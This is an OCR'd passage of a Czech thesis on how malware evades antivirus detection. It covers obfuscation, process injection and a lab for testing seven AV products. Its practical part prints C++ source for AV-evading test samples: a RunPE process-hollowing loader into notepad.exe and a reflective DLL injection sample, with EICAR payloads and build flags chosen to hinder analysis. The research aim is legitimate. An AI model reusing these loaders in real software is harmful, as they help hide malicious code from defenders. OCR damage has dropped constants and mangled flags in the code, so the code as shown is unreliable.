verze je strukturdlné odlisnd, ale funkéné stejna. Na rozdil od polymorfniho malwaru se
nespoléha na Sifrovani; misto toho miize ménit instrukce, preskupovat bloky kodu nebo

vkladat zbyte¢ny kod, aby se vyhnul detekei. [32]

Hlavni rozdily mezi polymorfnim a metamorfnim malwarem:

Tabulka 1 Rozdil mezi polymorfnim a metamorfnim malwarem

Vlastnosti: Polymorfni malware: Metamorfni malware:

Hlavni technika | Sifruje  payload a méni | Pfepisuje a  restrukturalizuje
desifrovaci kli¢ vlastni kod

Transformace Méni vzhled, ale jadro logiky | Uplng se prepisuje, ale zachovava

kodu zUstava stejné stejnou funkci

Vyhybani se | Vyhyba se detekci signatur | Vyhybd se detekci zménou

detekci pomoci Sifrovani struktury

SloZitost Snaz8i na implementaci Slozit€j)si a  narocnéj§i na

prostiedky

(zdroj: github.com [32])

2.2 Sifrovani kédu

Dalsi obecnou metodou pro stizeni detekce antivirovym programem je metoda, kdy je
payload Skodlivého software zaSifrovdn a obsazen v neSkodném binarnim souboru.

V takovém pfipad¢ antivirus nedokaze zanalyzovat zaSifrovany obsah souboru.
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Tato technika rozdé€luje malware na dvé ¢asti — télo viru a deSifrovaci rutinu. T¢lo viru
je zaSifrovano vhodnou metodou, napiiklad pomoci XOR, zatimco deSifrovaci smycka je

kratky program, ktery ma za ukol t€lo viru zasifrovat a desifrovat.

Aby virus mohl fungovat, musi byt nejprve desifrovan pomoci této rutiny. Stejné tak
antivir potiebuje ziskat deSifrovaci ¢éast infikovaného souboru, aby mohl ptecist jeho

Sifrovany obsah — teprve poté mize porovnat signatury. [33]

Dle autora Kyle Cucci jsou nejcastéjSimi kryptografickymi algoritmy pouzivané

v malwarech tyto:

Tabulka 2 Nejcastéjsi kryptografické algoritmy pouZzivané malwarem

Algoritmus: Typ: Popis:

Advanced Symetricka AES je povazovan za jednu z nejsilngjSich forem
Encryption (blokova) symetrického Sifrovani. Casto se pouzivda v
Standard (AES) ransomwaru.

Rivest Cipher 4 | Symetricka RC4 je rychly a snadno implementovatelny
(RC4) (proudova) algoritmus, ale neni zvlast' silny. PouZivaji ho
ruzné rodiny malwaru pro rychlé a jednoduché
Sifrovani a deSifrovani dat.

Rivest, Shamir and | Asymetrickd | Pojmenovany po svych tviircich, RSA je popularni
Adleman (RSA) algoritmus, ktery byl pouzit riznymi rodinami
ransomwaru. Je znamy svou relativné vysokou
rychlosti a efektivitou.

Elliptical ~ Curve | Asymetrickd | ECC je nov¢jsi algoritmus, ktery ma oproti RSA

Cryptography vyhodu v tom, Ze je bezpecnéjsi pfi stejné velikosti
(ECO) klice, a tedy efektivngjsi. ECC se v malwaru

pouziva ¢im dal Castéji.

(zdroj: Kyle Cucci — Evasive Malware [23])

2.3 Anti-Debugging a anti-sandbox techniky

Anti-Debugging a Anti-Sandboxing techniky jsou pouZzivdny zejména k vyhnuti
se behavioralni a heuristické analyzy antivirového programu. Cilem téchto technik je
detekovat prostiedi v jakém byly spustény a pokud malware vyhodnoti prostfedi jako

simulované neprovede Skodlivé akce, které by jinak ve skutecném prostiedi provedl.
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Anti-Debugging techniky se pouzivaji zejména k zabranéni a ztizeni reverzni analyzy
zdrojového kodu potencidlniho malware pomoci debuggert. Tvirce malware se tim snazi

zabranit odhaleni ¢i porozuméni funkcionalit obsazené v malware.

Sand-boxovani si mizeme predstavit jako abstraktni prostiedi ve kterém je potencialné
podeziely soubor se Skodlivym kdédem spuStén a nasledné na ném antivirovy program

spousti analyzu.

Pti sandboxovani skodlivy software vyuziva rutiny k detekci parametri systému, jako
je typ procesoru, pocet jader, mnozstvi RAM, velikost disku nebo pfitomnost znamych
systémovych soubort, aby zjistil, zda jsou spustény ve virtualizovaném prostiedi, které
zpravidla disponuje omezenymi prostiedky a nemusi obsahovat vS§echny bézné systémové

cesty.

2.4 Fileless malware a rezidentni kod

Fileless malware (neboli také bezsouborovy malware) je Skodlivy kod, ktery se spousti
pfimo v paméti, aniz by byl uloZen jako soubor na disku. Tento zptisob umoziuje malwaru
obejit tradi¢ni detekéni techniky, které spoléhaji na prohledavani soubori, coZ vyrazné

zté€zuje jeho odhaleni a zneskodnéni antivirovym a bezpecnostnim softwarem. [34]

Nektery bezsouborovy malware se po spusténi okamzité stane rezidentnim v paméti,

coZ znamena, Ze se nenacita ze souboru na disku, ale b&zi pfimo v operacni paméti (RAM).

2.4.1 Vyuziti systémovych nastroji Fileless malwarem

Bezsouborovy (fileless) malware vyuziva diivéryhodné systémové nastroje a vestavéné

funkce k provadéni skodlivého kodu pifimo v paméti.
Mezi bézné techniky patii: [34]
e PowerShell utoky — spousténi skodlivych skriptii pomoci PowerShellu.

e Windows Management Instrumentation (WMI) — malware spousti PowerShell

skripty bez zdznamu na disk

e Reflexivni injekce DLL — nac¢teni knihovny DLL pfimo do paméti bez jejiho ulozeni

na disk
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e Office makra — Skodliva makra v dokumentech Word, Excel nebo PDF
Nejznaméjsi bezsouborové malwary: [35]
1. Frodo
2. Number of the Beast
3. The Dark Avenger
4. Poweliks

5. Duqu 2.0

2.4.2 Rezidentni malware a béh v paméti

Virus, kterému se fika rezidentni, se projevuje tim, Ze je pfitomen pfimo v centru paméti
(RAM) pocitace a tam ziistava az do chvile vypnuti (operuje na podobné bazi jako takové
stealth viry). Jeho dal§im poznévacim znamenim je to, ze aktivné nevyhledava soubory
vhodné k zavirovani. Rezidentni vir pracuje tak, Ze pasivné sleduje soubory, s kterymi
uzivatel desktopového zatizeni (PC) pracuje a v moment€ ukonceni prace s nimi na né pak

zamerné cili sviyy utok (tedy v dobé, kdy je pocitac uzivatelem vypnut). [36]

2.4.3 Vztah k Process injection technikam

Rezidentni viry Casto pouZzivaji Process injection techniky, které jim umozni se po
spusténi injektovat do jiného procesu odkud dale hledaji vhodné procesy, do kterych dale

injektuji svou kopii. Tyto techniky jsou dale popsany v kapitole Process Injection techniky.

2.5 Process injection techniky

Process injection je oblibena technika, ktera se vyuzivd k maskovani Skodlivého
procesu tim, ze je spuStén v pamétovém prostoru jiného procesu. Injektovany proces navic
muze zdédit opravnéni ¢i legitimitu hostitelského procesu, coz potencidlné poskytuje

utoénikovi vice moznosti.

Dle analyzy spolecnosti Red Canary je technika Process Injection sedmou nejcastéji

pouzivanou technikou tviircti malware.
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T1059.003: Windows Command Shell
T1059.001: PowerShell

T1047: Windows Management
Instrumentation

T1027: Obfuscated Files
or Information

T1218.011: Rundll32

T1105: Ingress Tool Transfer

T1055: Process Injection

T1569.002: Service Execution

T1036.003: Rename System Utilities

T1003.001: LSASS Memory

Obrazek 7 Nejpouzivanéjsi techniky pouzité tviirci malware

(zdroj: Redcanary.com [37])

ObtiZznost detekce této techniky spociva v tom, Ze malware miiZze byt injektovan do
programu, ktery bézn¢ spousti podobné procesy. Diky tomu miize malware u¢inné oklamat

behavioralni analyzu a nepozorované¢ fungovat po delsi dobu, nez je odhalen.

Tato technika se vétSinou pouziva v kombinaci s dal§imi technikami jako obfuskace a

Sifrovani kodu.

~, OpenProcess()
WirtualAlloc()

WriteProcessMemary() Cilovy proces

Proces Malware

Alokovand pamét

/4  CreateRemoteThread()

Obrazek 8 Technika Process injection

(zdroj: vlastni | process_injection.drawio)
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2.5.1 Technika RunPE

Technika RunPE (v nékteré literatufe a zdrojich se tato technika mutize nazyvat Process

Hollowing) je jednou z technik pouzivanou malwary ke skryti své pfitomnost a ztizeni

detekce antiviry. Tato technika je formou procesové injekce, kdy malware spusti na

napadaném systému legitimni proces a nasledné jeho pamét’ nahradi kodem malwaru.

OpenProcess()
™ NtUnm apviewOfSection( i
Proces Malware VirtualAlloc) Cilovy proces
WriteProcessMemaory()

[
L

Alokovand paméaf

L.

:
SetThreadContext()
7 ResumeThread|) N

Obrazek 9 Technika RunPE

(zdroj: viastni | RunPE.drawio)

Proces nacitani Windows PE (Portable Executable):

1.

Windows vytvoii novou datovou strukturu EPROCESS pro spustény program

a prifadi mu nové ID procesu.

Windows inicializuje virtudlni pamét potiebnou pro proces, vytvoii PEB
strukturu a nacte dvé knihovny, které vyZaduje témét kazdy proces Windows:
ntdll.dll a kernel32.dll. Poté ptipravi nacitani PE souboru Firefoxu inicializaci

PE loaderu.

PE loader analyzuje DOS, PE a volitelné hlavicky souboru PE, aby ziskal
vSechny potfebné informace pro uspesné spusténi souboru.

PE loader analyzuje hlavicky sekci a ptipravi mapovani téchto sekci do paméti.

Nasledné namapuje kazdou sekci do virtualni paméti v rdmci nového procesu.

PE loader nacte vSechny knihovny uvedené v sekci imports (obvykle .idata nebo
.rdata) a vytesi vSechny adresy pottebnych funkci. VSechny adresy se poté ulozi

do IAT (Import Address Table) uvnitt procesu.

Uvnitt aktualniho procesu je vytvoren novy vldkno a loader spusti prvni bajty

kodu ve spustitelném souboru (obvykle v sekci .text). [23]



38 UTB ve Zliné, Fakulta aplikované informatiky

PE file Virtual memory
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Obrazek 10 Nacitani a mapovani PE souboru do virtudlni paméti v ramci procesu

(zdroj: Kyle Cucci — Evasive Malware [23])

Na obrazku 10 je jasné definovan proces, jak operacni systém Windows mapuje data z PE

souboru do virtudlni paméti.

Technika RunPE vyuziva této skuteCnosti a data ve virtudlni pameéti prepisuje

Skodlivym kodem, a to pomoci nasledujicich kroki:

1. Malware spusti legitimni proces v pozastaveném stavu (legitimnim procesem
se myslim proces, ktery je jiz antivirem oznafen za spolehlivy napf.

notepad.exe)
2. 'V paméti tohoto procesu dealokuje ptivodni obsah

3. Na jeho misto namapuje obsah jiného PE soubor — pfimé zapsani binarniho

souboru do paméti

4. Malware pfepiSe entry point na entry point nového kodu
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5. Proces se obnovi a zacne vykonavat skodlivy payload jménem divéryhodného

procesu

Vyhody této techniky pro uto¢niky jsou:
e Malware je spustén pod zndmym a pro antivirus legitimnim procesem

e Statické analyza souboru selze, jelikoz ptivodni PE neni uloZen na disku

e Skodlivy kod se vepise pfimo do paméti a tato operace se obtizné detekuje

2.5.2 Technika DLL injection

Klasicka DLL injekce je jednou z nejéastéjSich metod injekce do procesu — zahrnuje
zapsani cesty ke Skodlivé DLL knihovny do adresniho prostoru jiného procesu, nasledované

spusténim vzdaleného vlakna, které béhem procesu injekce tuto knihovnu zavola a spusti

jeji obsah.
s ™ OpenProcess()
Virtualalloc() —_
Proces Malware ViriteProcessMemory() Cilovy proces
- Alokovana paméaf

A /' CreateRemoteThread() ' F Y

[DLL na disku nebo v |

| hlaviCkovém souboru |

Obrazek 11 Technika DLL injection

(zdroj: viastni | dll_injection.drawio)

Technika DLL injection se sklada z néasledujicich kroki:
1. Malware spusti legitimni proces anebo najde vhodny proces pro injektovani

2. Zavola metodu OpenProcess, tim ziska pfistup k pamétovému prostoru

spusténého procesu

3. Pomoci metody VirtualAlloc alokuje potfebnou pamét’ v cilovém procesu o

velikosti payloadu, ktery hodl4 do procesu injektovat

4. Poté zavola metodu WriteProcessMemory a zapiSe cestu k DLL do této paméti
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5. Zavold CreateRemoteThread, ktery spusti LoadLibraryA s touto cestou —

vysledkem je na¢teni DLL do cilového procesu a jeho spusténi v novém vlakné

Protoze standardni metoda DLL injection vyzaduje uloZeni injektovaného DLL
souboru na disk, ve vzorovém malwaru implementujeme pokrocilejsi techniku zvanou
Reflective DLL Injection, ktera umoznuje nacteni Skodlivého DLL s payloadem piimo do
adresniho prostoru cilového procesu bez nutnosti zapisu souboru na disk. Podobn¢ jako u
techniky RunPE se timto snizuji detekéni schopnosti antivirovych engintl, jelikoz DLL
soubor neni nikde na disku uloZen a je nac¢ten pifimo do paméti infikovaného procesu. Navic
injektovany payload muiZe byt zaSifrovan, coZ omezi detekéni schopnosti Statické analyzy

pfi hledani signatur ¢i textovych fetézcu.

Vyhody této techniky pro Gto¢niky jsou:
e Malware je injektovan do znamého a legitimniho procesu, ktery je jiz spustén
e Injekce se mize provést do procesu s vyS$imi systémovymi pravy
e Antivirové programy primarné sleduji nové procesy, ne béZici

e DLL malwaru mize byt soucasti bindrniho souboru anebo mtize byt dodatecné

stazena z internetu

e Injektovany malware se miiZe stat rezidentni v paméti injektovanim své kopie

do dalsich procesu
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I1 PRAKTICKA CAST
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3 PRIPRAVA TESTOVACIHO PROSTREDI A VYVOJ
VZOROVEHO MALWARE
V této kapitole definujeme testovaci prostiedi, na kterém budeme provadét experiment
a také upresnime jeho zdkladni parametry. Néasledné navrhneme a popiSeme implementaci
testovacich vzorkd malware, které budou pouzity k otestovani detekénich vlastnosti

vybranych antivirovych feSenich. Vzorova implementace bude pouzivat konkrétni techniky

anebo jejich kombinace, které jsou popsany v teoretické ¢asti této diplomové prace.

3.1 Priprava vyvojového a testovaciho prostredi

Testovaci prostiedi, které bylo experimentalné pouzito k analyze detekénich engint

antivirovych programu se sklada z téchto komponent:

Tabulka 3 Nainstalované komponenty na jednotlivych PC

Jméno: Verze: Popis: HOST:|DEV:|AV:
Hyper-V 10.0.19041.1 Virtualiza¢ni software v X | X
Windows 10 10.0.19045.5608 |OS pouzity na hostujicim PC v X X

Windows 11 Pro{10.0.22631.4890 |OS pouzity pro virtualni PC X v |V
Education

MinGW 14.2.0 C++ kompilator X v X
CLion 2024.2.2 Vyvojové IDE pro C/C++ X v | X
Simple http Server [0.6.12 Jednoduchy webovy server X v X

(zdroj: viastni)

HOST - Pocitac, ktery hostuje Hyper-V hypervisor

DEV — Virtuélni host ur¢en pro development malwaru
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AV — Virtualni hosté urceni k experimentalni analyze

3.1.1 Konfigurace virtualni stroji a bezpecnostnich politik

Pro potteby této diplomové prace jsem se rozhodl pro nésledujici konfiguraci

virtudlniho prostiedi:

e Celkem 7 virtualnich PC (kazdé¢ jednotlivé PC dedikované pro jedno antivirové
feSeni)

e Kazdy virtudlni PC ma nasledujici konfiguraci:

Tabulka 4 Standartni konfigurace virtualnich PC

Pocet vCPU: 2
Pocet VRAM: 8192 MB
Velikost vDisku: 60 GB
Virtualni switch: | AvTestNet

(zdroj: vlastni)

e Kazdy virtualni PC je pfirazen do sité AvTestNet, jez je dedikovana virtudlni sit’

pro PC, na kterych se bude testovat malware.

e Kazdy VM ma nainstalovany Windows 11 (10.0.22631.2861), ktery obsahuje

defaultni nastaveni po instalaci systému tj.:
o Windows Firewal

o Microsoft Defender (pieinstalovan cilovym antivirovym feSenim na

patfiénych VM)
o SmartScreen Filter
o User Account Control

e Statické nastaveni sit€ viz. tabulka nize
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Tabulka 5 Seznam virtualnich PC a jejich sitové konfigurace

Jméno VM:

IP adresa:

Maska podsité:

VM malware development

192.168.100.11

255.255.255.0

VM_WinDefender

192.168.100.12

255.255.255.0

VM _BitDefender

192.168.100.13

255.255.255.0

VM_AVG

192.168.100.14

255.255.255.0

VM _AVAST

192.168.100.15

255.255.255.0

VM_ESET

192.168.100.16

255.255.255.0

VM MCAFEE

192.168.100.17

255.255.255.0

VM FSECURE

192.168.100.18

255.255.255.0

(zdroj: vlastni)

Seznam hostujicich virtudlnich PC pak vypadé nasledovné:

Jmeno CPU RAM_MB VHD_GB VirtualSwitch
__1_Windows 11 VM - malware dev 8 16384 60 AvTestNet
__2_Windows 11 VM - WinDefender 2 8192 60 AvTestNet
__3_Windows 11 VM - BitDefender 2 8192 60 AvTestNet
_.4 _Windows 11 VM - AVG 2 8192 60 AvTestNet
__5_Windows 11 VM - AVAST 2 8192 60 AvTestNet
__6_Windows 11 VM - ESET 2 8192 60 AvTestNet
__7_Windows 11 VM - MCAFEE 2 8192 60 AvTestNet
__8_Windows 11 VM - FSECURE 2 8192 60 AvTestNet

Obrazek 12 Vypis virtualni PC v Hyper-V za pomoci PowerShellu

(zdroj: viastni)

Vzhledem k tomu, Ze virtudlni pocita¢ VM malware_development bude slouzit jak
k samotnému vyvoji technik pouzivanych malwarem, tak i1 jako webovy server, ze kterého
si ostatni virtualni stroje budou stahovat binarni soubory, je nutné na tomto serveru piidat

pravidlo do firewallu a otevfit port 8000, ktery bude vyhrazen pro webovy server.
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Pravidlo pro firewall nastavime nasledujicim piikazem z PowerShell konzole:

New-NetFirewallRule -DisplayName
LocalPort 8000 -Action Allow

" _WebSexrver8000"

-Direction Inbound -Protocol TCP -

3.1.2 Instalace a konfigurace antivirového software

Pfi instalaci antivirového software byly pouzity aktualné dostupné verze z webovych

stranek jejich tvirca.

Tabulka 6 Instalované antivirové feSeni a jejich SHA256 hash

Jméno souboru:

SHA256 Hash Souboru:

AVAST

avast_free antivirus_offline setup.exe

IDB1EES536C04CC8A39C40ACD1058AC66
5711470E23AA5CCO9FE3082EF68CEF703

AVG

avg_antivirus_free offline setup.exe

C64C5D43F72C991E2DCC68FA1828475D
6D328C953347380C491287AD9427FBEB

BitDefender
bitdefender ts 27 64b.exe

ED87921CD0F96370E18D6066A376769F
A016F91B64D2E83929C39EF8EE11273B

Eset Nod32

eav_nt64.exe

A808D6BA7AO0AFE2B8602BDB4AB04FAC2
8A994360E2178F8CACFEACS595B75E76F

F-Secure

F-Secure-
Installer ytOh6éw1gkxvnb .exe

30B263A325F50DA1497D010EOD3E7824
ECB975A691CEA8C1AC413F230414B4B8

McAfee

McAfee Installer.exe

CT7FF8A841FD99C78EAES2E3EIF700CB2
57B167838C5887802434709678D7A528

(zdroj: vlastni)

Pro instalaci jednotlivych Antivirovych feseni byl pouzit nasledujici metodicky postup:

1. V nastaveni Hyper-V docasné€ povolime virtualnimu stroji pfistup na internet

2. VM je nastartovan

3. Zvolené antivirové feSeni je nainstalovano na cilovy virtualni stroj a ponechano

v defaultnim nastaveni
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4. Antivir je aktualizovan
5. VM je vypnut

6. V nastaveni Hyper-V ptitazujeme VM zpét do sité AvTestNet

3.2 Vyvaoj testovacich vzorki malware

V této podkapitole definujeme typové vzorky malware, které budou pouzity pro
analyzu detek¢nich enginii antivirovych programt. Kazdy jednotlivy vzorek bude pouzivat
jednu z technik znesnadiiujici detekci antivirem. Implementace kazdého testovaciho vzorku
bude detailné popsana a jejich zdrojovy kod bude ptilozen jako Priloha P I: Zdrojové kody

vyvinutych vzork malware.

Vsechny vzorové ptiklady malwaru uvedené v této diplomové praci byly vytvotreny
vyhradné za t¢elem testovani metod obchazejicich detekci antivirovych detekénich engind.
Jsou navrzeny tak, aby aktivovaly detekéni mechanismy, avSak samy o sob¢ jsou neskodné

v

a neslouzi k realnému Sifeni nebo Skodlivé ¢innosti.

Pro potieby experimentalni ¢asti jsou vSechny vytvofené spustitelné soubory (.exe)
kompilovany s diirazem na minimalizaci velikosti vysledného bindrniho souboru a omezeni

informaci, kterou je mozné ziskat statickou analyzou.

K ptekladim byl pouzit kompilator g++ s ndasledujicimi ptfepinaci, které jsou

zdokumentovany v oficidlni dokumentaci k GNU kompilatoru: [38]

g++ ./payload.cpp -o ./output/payload.exe -mwindows -m64 -0Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -Wl,--gc-sections -fstack-protector -fno-ident
Jednotlivé volby maji nasledujici tcel:

e -mwindows — vytvoreni binarniho souboru pro Windows GUI aplikaci bez

konzole
e -m64 — cileni na 64bitovou architekturu

e -Os — optimalizace pro co nejmensi velikost vystupniho souboru
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e -5 — odstranéni ladicich symbolli a tabulek, které by mohly byt pouzity k

reverzni analyze
o -fvisibility=hidden — skryje vSechny symboly krom¢ explicitn¢ exportovanych

e -ffunction-sections a -fdata-sections — kazda funkce a globalni proménnd je

umisténa do samostatné sekce

e -l — ptedéd parametr linkeru — v nasem ptipadé --gc-sections a tim instruuje

linker k odstranéni vSech nepouzitych sekci kodu a dat

e -fno-stack-protector — Vypne ochranu zasobniku (proti stack overflow) — Casty

antidebug prvek
e -fno-ident — Zabrani vlozeni informace o ptekladaci do binarniho souboru

Tato konfigurace byla zvolena nejen z divodi efektivniho vyuziti paméti a snizeni
velikosti binarniho souboru, ale také za ucCelem ztizeni statické analyzy a reverzniho
inzenyrstvi, které byva casto soucasti bezpecnostni analyzy Skodlivého softwaru. Takto
pfipravené binarni soubory 1épe odpovidaji redlnym vzorkiim Skodlivého kodu, které byvaji

rovnéZ siln€ optimalizovany a ochuzeny o ladici informace.

Vybrané testovaci vzorky obsahuji payload (payload.exe) — jednd se o samostatny
spustitelny soubor, ktery obsahuje textovy fetézec EICAR, ktery je pii spusténi ulozen do

souboru C:\Users\Public\mlwr NN _eicar.com.

V piipadé, ze se podafi obejit detekci antivirovym enginem a payload je UspéSné
spustén, zobrazi se informacni popup okno. Nasledné je v cilové slozce (C:\Users\Public)

mozné nalézt vySe zminény soubor miwr NN _eicar.com.

EICAR testovaci soubor je specidlni soubor (obvykle s nazvem eicar.com) vytvotreny
spole¢nosti EICAR. Je dlouhy 68 byt, ktery slouzi pro testovani pocitacovych antivirovych

programil. Chova se jako virus, ale neni, jakkoliv nebezpecny. [39]

Praktické otestovani detekovatelnosti samotného souboru payload.exe bude provedeno

v kapitole 4.1.3 Ovéteni detekovatelnosti payload.exe na testovanych antivirech.
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3.2.1 Technika RunPE (MLWR 1)

Ukolem tohoto testovaciho vzorku malwaru je na cilovém systému spustit proces v
pozastaveném stavu, odmapovat jeho pivodni obsah, alokovat novou pamét, zapsat do
nového adresniho prostoru Skodlivy koéd (payload) a néasledné obnovit béh procesu. Jako

simulace uspésného spusténi payloadu bude slouzit jednoduché popup okno.

Vysledny malware vyuziva techniky, které se pouzivaji ke spusténi skodlivého kodu na
cilovém hostiteli jako Process Hollowing ¢i RunPE, které by mély byt detekovatelné
behaviordlni analyzou ¢i heuristickou analyzou. Kod testovaciho vzorku navic vyuziva
metody Windows APIL, které by svou povahou mély byt povazovany za podezielé —
naptiklad CreateProcessA, ReadProcessMemory, VirtualAllocEx nebo

WriteProcessMemory.
Tento vzorek se sklada ze dvou binarnich soubori:
e payload.exe — Binarni soubor simulujici skodlivy kod (payload)

e milwr_l.exe — Binarni soubor, ktery se pokusi obejit detekci tim, Ze spusti
vérohodny proces (notepad.exe) v pozastaveném stavu a poté jej nahradi za

payload.exe, ktery spusti.

Zdrojovy kod payload.exe (payload.cpp) je nasledujici:

#include <iostream>
ffinclude <fstream>
#include <string>
#include <windows.h>

const char *eicar = "X50!P%@AP[4\\PZX54(P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*";

std::string mlwxID = "01";

std::string filename = "C:\\Users\\Public\\mlwr_" + mlwrID + "_eicar.com";

int main() {

std: :ofstream f(filename);
f << eicar;
f.close();

std: :string message = "MLWR_" + mlwrID + " uspesne spustil payload";
std::string title = "MLWR_" + mlwrID;
MessageBoxA(NULL, message.c_str(), title.c_stxr(), MB_ICONINFORMATION);

return
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Payload.cpp zkompilujeme:

g++ ./payload.cpp -o ./output/payload.exe -mwindows -m64 -0Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -W1l,--gc-sections -fstack-protector -fno-ident

Déle je nutné vytvoieny soubor payload.exe konvertovat do HexDec formatu a vytvofit

z n¢j hlavickovy soubor piipraveny pro import:

$currDir = Get-Location

$exePath = Join-Path $currDir 'payload.exe'

$headerPath = Join-Path $currDir 'payload.h’

$bytes = [System.IO.File]::ReadAllBytes($exePath)

$hex = $bytes | ForEach-Object { 'Ox{0:X2}, ' -f $_ 2

$C_array = "unsigned char payload[] = {'n" + ($hex -join '') + "'n};"
Set-Content -Path $headerPath -Value $c_array

V této fazi mame ptipraveny paylod.exe jako payload.h, ktery mizeme importovat do

miwr_1.cpp.
Zdrojovy kod miwr_1.exe (mlwr_1.cpp) — nejdilezitejsi Casti:

Zahrnuté hlavickové soubory a knihovny, v¢etné payload.h:

#include <cstdio>
#include <windows.h>
#include "payload.h"

Spusténi nového procesu v pozastaveném (suspended) stavu:

CreateProcessA(NULL, (LPSTR) "C:\\Windows\\System32\\notepad.exe", NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))

Ptecteni image base adresy spusSténého procesu z PEB (Process Environment Blocks):

DWORD64 imageBase = 0;
ReadProcessMemory(pi.hProcess, (LPCVOID) (ctx.Rdx + ), &imageBase, sizeof(DWORD64),
NULL);

Odmapovani ptivodniho image spusténého procesu:
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auto NtUnmapViewOfSection = (pNtUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntd11l.d11"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, (PVOID) imageBase);

Alokace nové paméti, kterou pozaduje payload:

LPVOID allocatedMem = VirtualAllocEx(pi.hProcess, (LPVOID)

(nt->0OptionalHeader.ImageBase),nt->0OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE _EXECUTE _READWRITE);

Zapsani PE hlavicek a sekce payloadu:

WriteProcessMemory(pi.hProcess, allocatedMem, payload, nt->OptionalHeader.SizeOfHeaders,
NULL);

IMAGE _SECTION_HEADER *sec = (IMAGE_SECTION_HEADER *) (nt + 1);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(pi.hProcess,
(PVOID) ((DWORD64) allocatedMem + sec[i].VirtualAddress),
payload + sec[i].PointerToRawData,

sec[i].SizeOfRawData, NULL);

UloZeni nového image, nastaveni nové entry point adresy a obnoveni procesu:

WriteProcessMemory(pi.hProcess, (PVOID) (ctx.Rdx + 16), &allocatedMem, sizeof(DWORD64),
NULL);

ctx.Rcx = (DWORD64) allocatedMem + nt->OptionalHeader.AddressOfEntryPoint;

SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
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Po spusténi mlwr_1.exe a jeho uspésném provedeni techniky RunPE se zobrazi zminéné
popup okno, které pochédzi z payload.exe a je vytvoren soubor mlwr 1 _eicar.txt ve slozce

C:\Users\Public:

MLWR,_01 e

':o:' MWR_01 uspesne spustil payload

Obrazek 13 Uspésné spusténi payloadu metodou RunPE

(zdroj: viastni | miwr_I.exe a payload.exe)

3.2.2 Technika Reflective DLL injection (MLWR _2)

Dalsi testovaci vzorek malware, ktery je vyvinut a bude pouzit jako referenéni vzorek
pro analyzu detekénich enginti antivirovych programti vyuziva techniku zvanou DLL
injection.

Podobné jako vzorek obsahujici techniku RunPE bude i tento vzorek obsahovat
payload, ktery bude injektovan do béZiciho procesu ale jiz jako DLL knihovna. Pro simulaci
uspesného spusténi payloadu je opét pouzito minimalistické popup okno potvrzujici

uspésnou injekei do cilového procesu.

Vysledny vzorovy malware vyuziva techniky bézné€ pouzivané ke spusténi Skodlivého
kodu na cilovém hostiteli, jako je naptiklad Process injection. Tato technika spociva v
injekci dynamicky linkované knihovny (DLL) do jiz béZiciho procesu, ¢imz dokdze obejit
detekci antivirového softwaru, ktery se obvykle zaméfuje na nove spousténé procesy, nikoliv
na ty aktivné bézici.

V tomto vzorku byla jako reflective loader pouzita knihovna DI/lLoaderShellCode [40],
ktera je podle autora zalozena na loaderu z Meterpreteru, avSak upravena tak, aby DLL
nemusela mit zakompilovany loader v sob¢. Diky této knihovné, 1ze obejit detekéni engine
antivirového programu, jelikoz DLL neni nikde zapséna na disk a je tak injektovana do

cilového procesu piimo z paméti.
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Tento vzorek se sklada ze dvou binarnich souboru:

e payload.dll — Dynamicky linkovatelnd knihovna simulujici Skodlivy kod
(payload)

e milwr 2.exe — Binarni soubor, ktery se pokusi obejit detekci tim, Ze spusti
Skodlivy payload jako dynamicky linkovatelnou knihovnu v jiz bézicim procesu

— notepad.exe.

Zdrojovy koéd payload.dll (payload.cpp) je nésledujici:

#include <fstream>
#include <windows.h>

const char *eicar = "X50!P%@AP[4\\PZX54(P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*";

std::string mlwrID = "02";

std::string filename = "C:\\Users\\Public\\mlwr_" + mlwxID + "_eicar.com";

BOOL APIENTRY D11Main(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpResexrved) {
switch (ul_reason_for_call) {

case DLL_PROCESS_ATTACH: {

std::ofstream f(filename);
f << eicar;
f.close();

std::string message = "MLWR_" + mlwrID + " uspesne spustil payload";
std::string title = "MLWR_" + mlwrID;
MessageBoxA(NULL, message.c_str(), title.c_str(), MB_ICONINFORMATION);

break;

}

case DLL_PROCESS_DETACH: {
break;

}

}
return TRUE;

Payload.cpp zkompilujeme jako DLL ptidani ptiznaku -shared kompildtoru g++:

g++ ./payload.cpp -o ./output/payload.dll -shared -mwindows -m64 -0Os -s \
-fvisibility=hidden -ffunction-sections -fdata-sections -W1,--gc-sections -fstack-
protector -fno-ident

Podobné¢ jako u techniky RunPE je nutné cilovy DLL soubor konvertovat do HexDec

formatu a vytvofit z néj hlavickovy soubor pro import:
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$currDir = Get-Location

$exePath = Join-Path $currDir 'payload.dll’

$headerPath = Join-Path $currDir 'payload.h’

$bytes = [System.IO.File]::ReadAllBytes($exePath)

$hex = $bytes | ForEach-Object { 'Ox{0:X2}, ' -f $_ 2

$C_array = "unsigned char payload[] = {'n" + ($hex -join '') + "'n};"
Set-Content -Path $headerPath -Value $c_array

Nésledné je naprogramovan miwr_2.exe (mlwr_2.cpp) — nejdillezitéjsi casti:

Zahrnuté hlavickové soubory a knihovny, v¢etné payload.h a loaders.h:

#include <string>

#include <windows.h>
#include "loaders.h"
#include "tlhelp32.h"
#include "payload.h"

Ovéfime, zda je v systému spustén cilovy proces notepad.exe do kterého bude

provedena injekce:

HANDLE hProcNotepad = findProcessByName("notepad.exe");

Provedeme injekci pomoci funkce InjectDLLFromMemory:

InjectDLLFromMemory(hProcNotepad, payload, sizeof(payload));

Funkce InjectDLLFromMemory pak obsahuje funkci pro zjisténi cilové architektury,

dle které pak zvoli kompatibilni loader z loaders.h:
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const int bits = GetArchBits(hProcNotepad);

BYTE *loader = nullptr;
size_t loaderSize =
if (bits == ) {
loaderSize = sizeof(loader_x86);
loader = (BYTE *) loader_x86;
} else {
loaderSize = sizeof(loader_x64);
loader = (BYTE *) loadexr_x64;

Dale funkce alokuje pamét’ v cilovém procesu jak pro injektované DLL, tak pro loader:

